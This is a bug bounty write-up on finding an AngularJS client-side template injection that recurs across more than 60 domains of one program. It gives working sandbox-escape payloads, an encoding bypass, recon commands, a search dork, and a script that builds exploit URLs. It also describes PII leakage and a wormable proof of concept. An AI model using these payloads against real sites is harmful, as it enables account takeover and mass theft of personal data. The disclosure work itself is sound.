XSS At Scale – Finding and exploiting a program-wide CSTI.


Recently I’ve been re-visiting a program that I’ve previously spent a lot of time on. After finding and reporting a number of vulnerabilities over the course of a few months I still wasn’t completely satisfied with the bugs I had found up to that point, and wanted to dig deeper to uncover some more interesting findings.

In the early stages of testing I had noticed that an alarming amount of their applications were running outdated versions of AngularJS. This is already a red flag considering AngularJS hasn’t been supported for a little under 3 years at the time I’m writing this. The one caveat is that a decent number of these domains were largely unauthenticated static sites with no sensitive actions. The ones that did contain such functionality were interesting as they would give an attacker access to some critical information about a victim (Full Name, Address, Email, Genealogy information, Phoner number, and more.) These domains also included messaging functionality that allows its users to communicate.

With this information in mind the goal was set to find a CSTI in the application as this could surely be used leak a users PII and the messaging functionality can be leveraged to make the XSS wormable, opening up the possibility to scale the vulnerability across the entire user-base.

AngularJS expression syntax is relatively simple, and can be thought of as a JavaScript-like expression (with a few differences that aren’t relevant here) wrapped in two curly brackets:

{{1+1}}


The main difference that’s important to keep in mind is that AngularJS expressions evaluate within a restricted execution context and each carry their own scope. On the other hand, JavaScript expressions evaluate within the global execution context. This means that the global functions and APIs needed to build a working proof of concept won’t be available in the context of an AngularJS expression. However, constructor chaining can be used to gain a reference to window:

{{constructor.constructor('alert')()}}


I used the command below to get a list of domains using AngularJS and piped them into gau in the hopes of finding a large number of paths/parameters to test further:

cat urls.txt | httpx -tech-detect -silent -no-color | grep AngularJS | grep -oE 'http[s]?://[^ ]+' | gau | tee --append urls.txt


When testing for template injection the easiest way to confirm that expressions are being evaluated is to supply a basic math expression to any inputs, followed by searching the page for the evaluation. For example, supplying {{191*7}} in any parameters and searching for the number 1337 within the page.

It wasn’t long before I found a parameter that was evaluating input and reflecting it in an SEO tag in the head of the page. AngularJS uses context-aware encoding by default, but luckily the work-around for this is relatively trivial. By using constructor chaining again within the function body it’s possible to gain a reference to the String object in order to use string operations like fromCharCode:

{{constructor.constructor(valueOf.name.constructor.fromCharCode(97,108,101,114,116,40,49,41,10))()}}


The domain I found the first issue in was a static site with almost no dynamic content and no authenticated actions, so I decided to move on and continue looking in other places. It wasn’t long after the first finding that I noticed the same parameter and issue was present in several other domains. With the assumption in mind that these applications were likely using a shared code-base I decided to write a quick google dork in order to get an idea of how many domains have this same issue:

site:*.target.com inurl:parameter=defaultvalue


All-in-all I identified that the issue was present in over 60 apps. In 3 of them I was able to leak PII to my origin and in 2 take over a users account with relative ease. In the one with messaging functionality I was able to build a wormable (my first ever!) proof of concept that in an attackers hands would have allowed them to exfiltrate PII at scale. Below you’ll find a quick script I hacked together to generate vulnerable URLs that pop an alert when visited:


constpayload = "alert(1)";

function buildPayload(payloadString) {
  let charArray = [];
  for (let i = 0; i < payloadString.length; i++) {
    charArray.push(payloadString.charCodeAt(i));
  }
  return `{{constructor.constructor(valueOf.name.constructor.fromCharCode(${charArray.toString()}))()}}`;
}

function getDomains(vulnerableDomains) {
  let linkContainer = document.querySelector('.links');

  for (let domain of vulnerableDomains) {
    let anchor = document.createElement('a');
    let withExpression = `${domain}${buildPayload(payload)}`;

    anchor.setAttribute('href', withExpression);
    anchor.setAttribute('target', "_blank");
    anchor.style.display = 'block';
    anchor.innerText = withExpression;

    linkContainer.appendChild(anchor);
  }
}

getDomains(["https://target.com/test?parameter=", "https://other.target.com/test?parameter=", "https://third.target.com/test?parameter="]);